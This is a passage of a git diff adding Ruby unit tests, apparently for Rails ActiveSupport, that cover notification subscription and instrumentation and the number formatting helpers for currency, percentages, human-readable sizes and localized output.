+ def test_listen_to_everything
+ notifier = Fanout.new
+ listener = Listener.new
+ notifier.subscribe nil, listener
+ notifier.start 'hello', 1, {}
+ notifier.start 'world', 1, {}
+ notifier.finish 'world', 1, {}
+ notifier.finish 'hello', 1, {}
+
+ assert_equal 4, listener.events.length
+ assert_equal [
+ [:start, 'hello', 1, {}],
+ [:start, 'world', 1, {}],
+ [:finish, 'world', 1, {}],
+ [:finish, 'hello', 1, {}],
+ ], listener.events
+ end
+
+ def test_evented_listener_priority
+ notifier = Fanout.new
+ listener = ListenerWithTimedSupport.new
+ notifier.subscribe 'hi', listener
+
+ notifier.start 'hi', 1, {}
+ notifier.finish 'hi', 1, {}
+
+ assert_equal [
+ [:start, 'hi', 1, {}],
+ [:finish, 'hi', 1, {}]
+ ], listener.events
+ end
+ end
+ end
+end
diff --git a/activesupport/test/notifications/instrumenter_test.rb b/activesupport/test/notifications/instrumenter_test.rb
new file mode 100644
index 0000000..f46e96f
--- /dev/null
+++ b/activesupport/test/notifications/instrumenter_test.rb
@@ -0,0 +1,58 @@
+require 'abstract_unit'
+require 'active_support/notifications/instrumenter'
+
+module ActiveSupport
+ module Notifications
+ class InstrumenterTest < ActiveSupport::TestCase
+ class TestNotifier
+ attr_reader :starts, :finishes
+
+ def initialize
+ @starts = []
+ @finishes = []
+ end
+
+ def start(*args); @starts << args; end
+ def finish(*args); @finishes << args; end
+ end
+
+ attr_reader :instrumenter, :notifier, :payload
+
+ def setup
+ super
+ @notifier = TestNotifier.new
+ @instrumenter = Instrumenter.new @notifier
+ @payload = { :foo => Object.new }
+ end
+
+ def test_instrument
+ called = false
+ instrumenter.instrument("foo", payload) {
+ called = true
+ }
+
+ assert called
+ end
+
+ def test_instrument_yields_the_payload_for_further_modification
+ assert_equal 2, instrumenter.instrument("awesome") { |p| p[:result] = 1 + 1 }
+ assert_equal 1, notifier.finishes.size
+ name, _, payload = notifier.finishes.first
+ assert_equal "awesome", name
+ assert_equal Hash[:result => 2], payload
+ end
+
+ def test_start
+ instrumenter.start("foo", payload)
+ assert_equal [["foo", instrumenter.id, payload]], notifier.starts
+ assert_predicate notifier.finishes, :empty?
+ end
+
+ def test_finish
+ instrumenter.finish("foo", payload)
+ assert_equal [["foo", instrumenter.id, payload]], notifier.finishes
+ assert_predicate notifier.starts, :empty?
+ end
+ end
+ end
+end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
new file mode 100644
index 0000000..d63c598
--- /dev/null
+++ b/activesupport/test/notifications_test.rb
@@ -0,0 +1,244 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/delegation'
+
+module Notifications
+ class TestCase < ActiveSupport::TestCase
+ def setup
+ @old_notifier = ActiveSupport::Notifications.notifier
+ @notifier = ActiveSupport::Notifications::Fanout.new
+ ActiveSupport::Notifications.notifier = @notifier
+ @events = []
+ @named_events = []
+ @subscription = @notifier.subscribe { |*args| @events << event(*args) }
+ @named_subscription = @notifier.subscribe("named.subscription") { |*args| @named_events << event(*args) }
+ end
+
+ def teardown
+ ActiveSupport::Notifications.notifier = @old_notifier
+ end
+
+ private
+
+ def event(*args)
+ ActiveSupport::Notifications::Event.new(*args)
+ end
+ end
+
+ class SubscribedTest < TestCase
+ def test_subscribed
+ name = "foo"
+ name2 = name * 2
+ expected = [name, name]
+
+ events = []
+ callback = lambda {|*_| events << _.first}
+ ActiveSupport::Notifications.subscribed(callback, name) do
+ ActiveSupport::Notifications.instrument(name)
+ ActiveSupport::Notifications.instrument(name2)
+ ActiveSupport::Notifications.instrument(name)
+ end
+ assert_equal expected, events
+
+ ActiveSupport::Notifications.instrument(name)
+ assert_equal expected, events
+ end
+ end
+
+ class UnsubscribeTest < TestCase
+ def test_unsubscribing_removes_a_subscription
+ @notifier.publish :foo
+ @notifier.wait
+ assert_equal [[:foo]], @events
+ @notifier.unsubscribe(@subscription)
+ @notifier.publish :foo
+ @notifier.wait
+ assert_equal [[:foo]], @events
+ end
+
+ def test_unsubscribing_by_name_removes_a_subscription
+ @notifier.publish "named.subscription", :foo
+ @notifier.wait
+ assert_equal [["named.subscription", :foo]], @named_events
+ @notifier.unsubscribe("named.subscription")
+ @notifier.publish "named.subscription", :foo
+ @notifier.wait
+ assert_equal [["named.subscription", :foo]], @named_events
+ end
+
+ def test_unsubscribing_by_name_leaves_the_other_subscriptions
+ @notifier.publish "named.subscription", :foo
+ @notifier.wait
+ assert_equal [["named.subscription", :foo]], @events
+ @notifier.unsubscribe("named.subscription")
+ @notifier.publish "named.subscription", :foo
+ @notifier.wait
+ assert_equal [["named.subscription", :foo], ["named.subscription", :foo]], @events
+ end
+
+ private
+ def event(*args)
+ args
+ end
+ end
+
+ class SyncPubSubTest < TestCase
+ def test_events_are_published_to_a_listener
+ @notifier.publish :foo
+ @notifier.wait
+ assert_equal [[:foo]], @events
+ end
+
+ def test_publishing_multiple_times_works
+ @notifier.publish :foo
+ @notifier.publish :foo
+ @notifier.wait
+ assert_equal [[:foo], [:foo]], @events
+ end
+
+ def test_publishing_after_a_new_subscribe_works
+ @notifier.publish :foo
+ @notifier.publish :foo
+
+ @notifier.subscribe("not_existant") do |*args|
+ @events << ActiveSupport::Notifications::Event.new(*args)
+ end
+
+ @notifier.publish :foo
+ @notifier.publish :foo
+ @notifier.wait
+
+ assert_equal [[:foo]] * 4, @events
+ end
+
+ def test_log_subscriber_with_string
+ events = []
+ @notifier.subscribe('1') { |*args| events << args }
+
+ @notifier.publish '1'
+ @notifier.publish '1.a'
+ @notifier.publish 'a.1'
+ @notifier.wait
+
+ assert_equal [['1']], events
+ end
+
+ def test_log_subscriber_with_pattern
+ events = []
+ @notifier.subscribe(/\d/) { |*args| events << args }
+
+ @notifier.publish '1'
+ @notifier.publish 'a.1'
+ @notifier.publish '1.a'
+ @notifier.wait
+
+ assert_equal [['1'], ['a.1'], ['1.a']], events
+ end
+
+ def test_multiple_log_subscribers
+ @another = []
+ @notifier.subscribe { |*args| @another << args }
+ @notifier.publish :foo
+ @notifier.wait
+
+ assert_equal [[:foo]], @events
+ assert_equal [[:foo]], @another
+ end
+
+ private
+ def event(*args)
+ args
+ end
+ end
+
+ class InstrumentationTest < TestCase
+ delegate :instrument, :to => ActiveSupport::Notifications
+
+ def test_instrument_returns_block_result
+ assert_equal 2, instrument(:awesome) { 1 + 1 }
+ end
+
+ def test_instrument_yields_the_payload_for_further_modification
+ assert_equal 2, instrument(:awesome) { |p| p[:result] = 1 + 1 }
+ assert_equal 1, @events.size
+ assert_equal :awesome, @events.first.name
+ assert_equal Hash[:result => 2], @events.first.payload
+ end
+
+ def test_instrumenter_exposes_its_id
+ assert_equal 20, ActiveSupport::Notifications.instrumenter.id.size
+ end
+
+ def test_nested_events_can_be_instrumented
+ instrument(:awesome, :payload => "notifications") do
+ instrument(:wot, :payload => "child") do
+ 1 + 1
+ end
+
+ assert_equal 1, @events.size
+ assert_equal :wot, @events.first.name
+ assert_equal Hash[:payload => "child"], @events.first.payload
+ end
+
+ assert_equal 2, @events.size
+ assert_equal :awesome, @events.last.name
+ assert_equal Hash[:payload => "notifications"], @events.last.payload
+ end
+
+ def test_instrument_publishes_when_exception_is_raised
+ begin
+ instrument(:awesome, :payload => "notifications") do
+ raise "FAIL"
+ end
+ rescue RuntimeError => e
+ assert_equal "FAIL", e.message
+ end
+
+ assert_equal 1, @events.size
+ assert_equal Hash[:payload => "notifications",
+ :exception => ["RuntimeError", "FAIL"]], @events.last.payload
+ end
+
+ def test_event_is_pushed_even_without_block
+ instrument(:awesome, :payload => "notifications")
+ assert_equal 1, @events.size
+ assert_equal :awesome, @events.last.name
+ assert_equal Hash[:payload => "notifications"], @events.last.payload
+ end
+ end
+
+ class EventTest < TestCase
+ def test_events_are_initialized_with_details
+ time = Time.now
+ event = event(:foo, time, time + 0.01, random_id, {})
+
+ assert_equal :foo, event.name
+ assert_equal time, event.time
+ assert_in_delta 10.0, event.duration, 0.00001
+ end
+
+ def test_events_consumes_information_given_as_payload
+ event = event(:foo, Time.now, Time.now + 1, random_id, :payload => :bar)
+ assert_equal Hash[:payload => :bar], event.payload
+ end
+
+ def test_event_is_parent_based_on_children
+ time = Time.utc(2009, 01, 01, 0, 0, 1)
+
+ parent = event(:foo, Time.utc(2009), Time.utc(2009) + 100, random_id, {})
+ child = event(:foo, time, time + 10, random_id, {})
+ not_child = event(:foo, time, time + 100, random_id, {})
+
+ parent.children << child
+
+ assert parent.parent_of?(child)
+ assert !child.parent_of?(parent)
+ assert !parent.parent_of?(not_child)
+ assert !not_child.parent_of?(parent)
+ end
+
+ protected
+ def random_id
+ @random_id ||= SecureRandom.hex(10)
+ end
+ end
+end
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
new file mode 100644
index 0000000..65aecec
--- /dev/null
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -0,0 +1,156 @@
+require 'abstract_unit'
+require 'active_support/number_helper'
+
+module ActiveSupport
+ class NumberHelperI18nTest < ActiveSupport::TestCase
+ include ActiveSupport::NumberHelper
+
+ def setup
+ I18n.backend.store_translations 'ts',
+ :number => {
+ :format => { :precision => 3, :delimiter => ',', :separator => '.', :significant => false, :strip_insignificant_zeros => false },
+ :currency => { :format => { :unit => '&$', :format => '%u - %n', :negative_format => '(%u - %n)', :precision => 2 } },
+ :human => {
+ :format => {
+ :precision => 2,
+ :significant => true,
+ :strip_insignificant_zeros => true
+ },
+ :storage_units => {
+ :format => "%n %u",
+ :units => {
+ :byte => "b",
+ :kb => "k"
+ }
+ },
+ :decimal_units => {
+ :format => "%n %u",
+ :units => {
+ :deci => {:one => "Tenth", :other => "Tenths"},
+ :unit => "u",
+ :ten => {:one => "Ten", :other => "Tens"},
+ :thousand => "t",
+ :million => "m",
+ :billion =>"b",
+ :trillion =>"t" ,
+ :quadrillion =>"q"
+ }
+ }
+ },
+ :percentage => { :format => {:delimiter => '', :precision => 2, :strip_insignificant_zeros => true} },
+ :precision => { :format => {:delimiter => '', :significant => true} }
+ },
+ :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+ end
+
+ def test_number_to_i18n_currency
+ assert_equal("&$ - 10.00", number_to_currency(10, :locale => 'ts'))
+ assert_equal("(&$ - 10.00)", number_to_currency(-10, :locale => 'ts'))
+ assert_equal("-10.00 - &$", number_to_currency(-10, :locale => 'ts', :format => "%n - %u"))
+ end
+
+ def test_number_to_currency_with_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal("$10.00", number_to_currency(10, :locale => 'empty'))
+ assert_equal("-$10.00", number_to_currency(-10, :locale => 'empty'))
+ end
+
+ def test_locale_default_format_has_precedence_over_helper_defaults
+ I18n.backend.store_translations 'ts',
+ { :number => { :format => { :separator => ";" } } }
+
+ assert_equal("&$ - 10;00", number_to_currency(10, :locale => 'ts'))
+ end
+
+ def test_number_to_currency_without_currency_negative_format
+ I18n.backend.store_translations 'no_negative_format', :number => {
+ :currency => { :format => { :unit => '@', :format => '%n %u' } }
+ }
+
+ assert_equal("-10.00 @", number_to_currency(-10, :locale => 'no_negative_format'))
+ end
+
+ def test_number_with_i18n_precision
+ #Delimiter was set to ""
+ assert_equal("10000", number_to_rounded(10000, :locale => 'ts'))
+
+ #Precision inherited and significant was set
+ assert_equal("1.00", number_to_rounded(1.0, :locale => 'ts'))
+ end
+
+ def test_number_with_i18n_precision_and_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal("123456789.123", number_to_rounded(123456789.123456789, :locale => 'empty'))
+ assert_equal("1.000", number_to_rounded(1.0000, :locale => 'empty'))
+ end
+
+ def test_number_with_i18n_delimiter
+ #Delimiter "," and separator "."
+ assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'ts'))
+ end
+
+ def test_number_with_i18n_delimiter_and_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'empty'))
+ end
+
+ def test_number_to_i18n_percentage
+ # to see if strip_insignificant_zeros is true
+ assert_equal("1%", number_to_percentage(1, :locale => 'ts'))
+ # precision is 2, significant should be inherited
+ assert_equal("1.24%", number_to_percentage(1.2434, :locale => 'ts'))
+ # no delimiter
+ assert_equal("12434%", number_to_percentage(12434, :locale => 'ts'))
+ end
+
+ def test_number_to_i18n_percentage_and_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal("1.000%", number_to_percentage(1, :locale => 'empty'))
+ assert_equal("1.243%", number_to_percentage(1.2434, :locale => 'empty'))
+ assert_equal("12434.000%", number_to_percentage(12434, :locale => 'empty'))
+ end
+
+ def test_number_to_i18n_human_size
+ #b for bytes and k for kbytes
+ assert_equal("2 k", number_to_human_size(2048, :locale => 'ts'))
+ assert_equal("42 b", number_to_human_size(42, :locale => 'ts'))
+ end
+
+ def test_number_to_i18n_human_size_with_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal("2 KB", number_to_human_size(2048, :locale => 'empty'))
+ assert_equal("42 Bytes", number_to_human_size(42, :locale => 'empty'))
+ end
+
+ def test_number_to_human_with_default_translation_scope
+ #Using t for thousand
+ assert_equal "2 t", number_to_human(2000, :locale => 'ts')
+ #Significant was set to true with precision 2, using b for billion
+ assert_equal "1.2 b", number_to_human(1234567890, :locale => 'ts')
+ #Using pluralization (Ten/Tens and Tenth/Tenths)
+ assert_equal "1 Tenth", number_to_human(0.1, :locale => 'ts')
+ assert_equal "1.3 Tenth", number_to_human(0.134, :locale => 'ts')
+ assert_equal "2 Tenths", number_to_human(0.2, :locale => 'ts')
+ assert_equal "1 Ten", number_to_human(10, :locale => 'ts')
+ assert_equal "1.2 Ten", number_to_human(12, :locale => 'ts')
+ assert_equal "2 Tens", number_to_human(20, :locale => 'ts')
+ end
+
+ def test_number_to_human_with_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+
+ assert_equal "2 Thousand", number_to_human(2000, :locale => 'empty')
+ assert_equal "1.23 Billion", number_to_human(1234567890, :locale => 'empty')
+ end
+
+ def test_number_to_human_with_custom_translation_scope
+ #Significant was set to true with precision 2, with custom translated units
+ assert_equal "4.3 cm", number_to_human(0.0432, :locale => 'ts', :units => :custom_units_for_number_to_human)
+ end
+ end
+end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
new file mode 100644
index 0000000..1fadef3
--- /dev/null
+++ b/activesupport/test/number_helper_test.rb
@@ -0,0 +1,381 @@
+require 'abstract_unit'
+require 'active_support/number_helper'
+
+module ActiveSupport
+ module NumberHelper
+ class NumberHelperTest < ActiveSupport::TestCase
+
+ class TestClassWithInstanceNumberHelpers
+ include ActiveSupport::NumberHelper
+ end
+
+ class TestClassWithClassNumberHelpers
+ extend ActiveSupport::NumberHelper
+ end
+
+ def setup
+ @instance_with_helpers = TestClassWithInstanceNumberHelpers.new
+ end
+
+ def kilobytes(number)
+ number * 1024
+ end
+
+ def megabytes(number)
+ kilobytes(number) * 1024
+ end
+
+ def gigabytes(number)
+ megabytes(number) * 1024
+ end
+
+ def terabytes(number)
+ gigabytes(number) * 1024
+ end
+
+ def test_number_to_phone
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("555-1234", number_helper.number_to_phone(5551234))
+ assert_equal("800-555-1212", number_helper.number_to_phone(8005551212))
+ assert_equal("(800) 555-1212", number_helper.number_to_phone(8005551212, {:area_code => true}))
+ assert_equal("", number_helper.number_to_phone("", {:area_code => true}))
+ assert_equal("800 555 1212", number_helper.number_to_phone(8005551212, {:delimiter => " "}))
+ assert_equal("(800) 555-1212 x 123", number_helper.number_to_phone(8005551212, {:area_code => true, :extension => 123}))
+ assert_equal("800-555-1212", number_helper.number_to_phone(8005551212, :extension => " "))
+ assert_equal("555.1212", number_helper.number_to_phone(5551212, :delimiter => '.'))
+ assert_equal("800-555-1212", number_helper.number_to_phone("8005551212"))
+ assert_equal("+1-800-555-1212", number_helper.number_to_phone(8005551212, :country_code => 1))
+ assert_equal("+18005551212", number_helper.number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
+ assert_equal("22-555-1212", number_helper.number_to_phone(225551212))
+ assert_equal("+45-22-555-1212", number_helper.number_to_phone(225551212, :country_code => 45))
+ end
+ end
+
+ def test_number_to_currency
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("$1,234,567,890.50", number_helper.number_to_currency(1234567890.50))
+ assert_equal("$1,234,567,890.51", number_helper.number_to_currency(1234567890.506))
+ assert_equal("-$1,234,567,890.50", number_helper.number_to_currency(-1234567890.50))
+ assert_equal("-$ 1,234,567,890.50", number_helper.number_to_currency(-1234567890.50, {:format => "%u %n"}))
+ assert_equal("($1,234,567,890.50)", number_helper.number_to_currency(-1234567890.50, {:negative_format => "(%u%n)"}))
+ assert_equal("$1,234,567,892", number_helper.number_to_currency(1234567891.50, {:precision => 0}))
+ assert_equal("$1,234,567,890.5", number_helper.number_to_currency(1234567890.50, {:precision => 1}))
+ assert_equal("£1234567890,50", number_helper.number_to_currency(1234567890.50, {:unit => "£", :separator => ",", :delimiter => ""}))
+ assert_equal("$1,234,567,890.50", number_helper.number_to_currency("1234567890.50"))
+ assert_equal("1,234,567,890.50 Kč", number_helper.number_to_currency("1234567890.50", {:unit => "Kč", :format => "%n %u"}))
+ assert_equal("1,234,567,890.50 - Kč", number_helper.number_to_currency("-1234567890.50", {:unit => "Kč", :format => "%n %u", :negative_format => "%n - %u"}))
+ assert_equal("0.00", number_helper.number_to_currency(+0.0, {:unit => "", :negative_format => "(%n)"}))
+ assert_equal("(0.00)", number_helper.number_to_currency(-0.0, {:unit => "", :negative_format => "(%n)"}))
+ end
+ end
+
+ def test_number_to_percentage
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("100.000%", number_helper.number_to_percentage(100))
+ assert_equal("100%", number_helper.number_to_percentage(100, {:precision => 0}))
+ assert_equal("302.06%", number_helper.number_to_percentage(302.0574, {:precision => 2}))
+ assert_equal("100.000%", number_helper.number_to_percentage("100"))
+ assert_equal("1000.000%", number_helper.number_to_percentage("1000"))
+ assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
+ assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
+ assert_equal("1000.000 %", number_helper.number_to_percentage(1000, :format => "%n %"))
+ end
+ end
+
+ def test_to_delimited
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("12,345,678", number_helper.number_to_delimited(12345678))
+ assert_equal("0", number_helper.number_to_delimited(0))
+ assert_equal("123", number_helper.number_to_delimited(123))
+ assert_equal("123,456", number_helper.number_to_delimited(123456))
+ assert_equal("123,456.78", number_helper.number_to_delimited(123456.78))
+ assert_equal("123,456.789", number_helper.number_to_delimited(123456.789))
+ assert_equal("123,456.78901", number_helper.number_to_delimited(123456.78901))
+ assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
+ assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
+ assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+ end
+ end
+
+ def test_to_delimited_with_options_hash
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
+ assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
+ assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
+ assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
+ end
+ end
+
+ def test_to_rounded
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal("-111.235", number_helper.number_to_rounded(-111.2346))
+ assert_equal("111.235", number_helper.number_to_rounded(111.2346))
+ assert_equal("31.83", number_helper.number_to_rounded(31.825, :precision => 2))
+ assert_equal("111.23", number_helper.number_to_rounded(111.2346, :precision => 2))
+ assert_equal("111.00", number_helper.number_to_rounded(111, :precision => 2))
+ assert_equal("111.235", number_helper.number_to_rounded("111.2346"))
+ assert_equal("31.83", number_helper.number_to_rounded("31.825", :precision => 2))
+ assert_equal("3268", number_helper.number_to_rounded((32.6751 * 100.00), :precision => 0))
+ assert_equal("112", number_helper.number_to_rounded(111.50, :precision => 0))
+ assert_equal("1234567892", number_helper.number_to_rounded(1234567891.50, :precision => 0))
+ assert_equal("0", number_helper.number_to_rounded(0, :precision => 0))
+ assert_equal("0.00100", number_helper.number_to_rounded(0.001, :precision => 5))
+ assert_equal("0.001", number_helper.number_to_rounded(0.00111, :precision => 3))
+ assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
+ assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
+ assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+ end
+ end
+
+ def test_to_rounded_with_custom_delimiter_and_separator
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '31,83', number_helper.number_to_rounded(31.825, :precision => 2, :separator => ',')
+ assert_equal '1.231,83', number_helper.number_to_rounded(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
+ end
+ end
+
+ def test_to_rounded_with_significant_digits
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal "124000", number_helper.number_to_rounded(123987, :precision => 3, :significant => true)
+ assert_equal "120000000", number_helper.number_to_rounded(123987876, :precision => 2, :significant => true )
+ assert_equal "40000", number_helper.number_to_rounded("43523", :precision => 1, :significant => true )
+ assert_equal "9775", number_helper.number_to_rounded(9775, :precision => 4, :significant => true )
+ assert_equal "5.4", number_helper.number_to_rounded(5.3923, :precision => 2, :significant => true )
+ assert_equal "5", number_helper.number_to_rounded(5.3923, :precision => 1, :significant => true )
+ assert_equal "1", number_helper.number_to_rounded(1.232, :precision => 1, :significant => true )
+ assert_equal "7", number_helper.number_to_rounded(7, :precision => 1, :significant => true )
+ assert_equal "1", number_helper.number_to_rounded(1, :precision => 1, :significant => true )
+ assert_equal "53", number_helper.number_to_rounded(52.7923, :precision => 2, :significant => true )
+ assert_equal "9775.00", number_helper.number_to_rounded(9775, :precision => 6, :significant => true )
+ assert_equal "5.392900", number_helper.number_to_rounded(5.3929, :precision => 7, :significant => true )
+ assert_equal "0.0", number_helper.number_to_rounded(0, :precision => 2, :significant => true )
+ assert_equal "0", number_helper.number_to_rounded(0, :precision => 1, :significant => true )
+ assert_equal "0.0001", number_helper.number_to_rounded(0.0001, :precision => 1, :significant => true )
+ assert_equal "0.000100", number_helper.number_to_rounded(0.0001, :precision => 3, :significant => true )
+ assert_equal "0.0001", number_helper.number_to_rounded(0.0001111, :precision => 1, :significant => true )
+ assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
+ assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
+ assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+ end
+ end
+
+ def test_to_rounded_with_strip_insignificant_zeros
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal "9775.43", number_helper.number_to_rounded(9775.43, :precision => 4, :strip_insignificant_zeros => true )
+ assert_equal "9775.2", number_helper.number_to_rounded(9775.2, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+ assert_equal "0", number_helper.number_to_rounded(0, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+ end
+ end
+
+ def test_to_rounded_with_significant_true_and_zero_precision
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ # Zero precision with significant is a mistake (would always return zero),
+ # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+ assert_equal "124", number_helper.number_to_rounded(123.987, :precision => 0, :significant => true)
+ assert_equal "12", number_helper.number_to_rounded(12, :precision => 0, :significant => true )
+ assert_equal "12", number_helper.number_to_rounded("12.3", :precision => 0, :significant => true )
+ end
+ end
+
+ def test_number_number_to_human_size
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '0 Bytes', number_helper.number_to_human_size(0)
+ assert_equal '1 Byte', number_helper.number_to_human_size(1)
+ assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265)
+ assert_equal '123 Bytes', number_helper.number_to_human_size(123.0)
+ assert_equal '123 Bytes', number_helper.number_to_human_size(123)
+ assert_equal '1.21 KB', number_helper.number_to_human_size(1234)
+ assert_equal '12.1 KB', number_helper.number_to_human_size(12345)
+ assert_equal '1.18 MB', number_helper.number_to_human_size(1234567)
+ assert_equal '1.15 GB', number_helper.number_to_human_size(1234567890)
+ assert_equal '1.12 TB', number_helper.number_to_human_size(1234567890123)
+ assert_equal '1030 TB', number_helper.number_to_human_size(terabytes(1026))
+ assert_equal '444 KB', number_helper.number_to_human_size(kilobytes(444))
+ assert_equal '1020 MB', number_helper.number_to_human_size(megabytes(1023))
+ assert_equal '3 TB', number_helper.number_to_human_size(terabytes(3))
+ assert_equal '1.2 MB', number_helper.number_to_human_size(1234567, :precision => 2)
+ assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265, :precision => 4)
+ assert_equal '123 Bytes', number_helper.number_to_human_size('123')
+ assert_equal '1 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2)
+ assert_equal '1.01 KB', number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4)
+ assert_equal '10 KB', number_helper.number_to_human_size(kilobytes(10.000), :precision => 4)
+ assert_equal '1 Byte', number_helper.number_to_human_size(1.1)
+ assert_equal '10 Bytes', number_helper.number_to_human_size(10)
+ end
+ end
+
+ def test_number_to_human_size_with_si_prefix
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265, :prefix => :si)
+ assert_equal '123 Bytes', number_helper.number_to_human_size(123.0, :prefix => :si)
+ assert_equal '123 Bytes', number_helper.number_to_human_size(123, :prefix => :si)
+ assert_equal '1.23 KB', number_helper.number_to_human_size(1234, :prefix => :si)
+ assert_equal '12.3 KB', number_helper.number_to_human_size(12345, :prefix => :si)
+ assert_equal '1.23 MB', number_helper.number_to_human_size(1234567, :prefix => :si)
+ assert_equal '1.23 GB', number_helper.number_to_human_size(1234567890, :prefix => :si)
+ assert_equal '1.23 TB', number_helper.number_to_human_size(1234567890123, :prefix => :si)
+ end
+ end
+
+ def test_number_to_human_size_with_options_hash
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '1.2 MB', number_helper.number_to_human_size(1234567, :precision => 2)
+ assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265, :precision => 4)
+ assert_equal '1 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2)
+ assert_equal '1.01 KB', number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4)
+ assert_equal '10 KB', number_helper.number_to_human_size(kilobytes(10.000), :precision => 4)
+ assert_equal '1 TB', number_helper.number_to_human_size(1234567890123, :precision => 1)
+ assert_equal '500 MB', number_helper.number_to_human_size(524288000, :precision=>3)
+ assert_equal '10 MB', number_helper.number_to_human_size(9961472, :precision=>0)
+ assert_equal '40 KB', number_helper.number_to_human_size(41010, :precision => 1)
+ assert_equal '40 KB', number_helper.number_to_human_size(41100, :precision => 2)
+ assert_equal '1.0 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2, :strip_insignificant_zeros => false)
+ assert_equal '1.012 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 3, :significant => false)
+ assert_equal '1 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 0, :significant => true) #ignores significant it precision is 0
+ end
+ end
+
+ def test_number_to_human_size_with_custom_delimiter_and_separator
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '1,01 KB', number_helper.number_to_human_size(kilobytes(1.0123), :precision => 3, :separator => ',')
+ assert_equal '1,01 KB', number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4, :separator => ',')
+ assert_equal '1.000,1 TB', number_helper.number_to_human_size(terabytes(1000.1), :precision => 5, :delimiter => '.', :separator => ',')
+ end
+ end
+
+ def test_number_to_human
+ [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+ assert_equal '-123', number_helper.number_to_human(-123)
+ assert_equal '-0.5', number_helper.number_to_human(-0.5)
+ assert_equal '0', number_helper.number_to_human(0)
+ assert_equal '0.5', number_helper.number_to_human(0.5)
+ assert_equal '123', number_helper.number_to_human(123)
+ assert_equal '1.23 Thousand', number_helper.number_to_human(1234)
+ assert_equal '12.3 Thousand', number_helper.number_to_human(12345)
+ assert_equal '1.23 Million', number_helper.number_to_human(1234567)
+ assert_equal '1.23 Billion', number_helper.number_to_human(1234567890)
+ assert_equal '1.23 Trillion', number_helper.number_to_human(1234567890123)
+ assert_equal '1.23 Quadrillion', number_helper.number_to_human(1234567890123456)
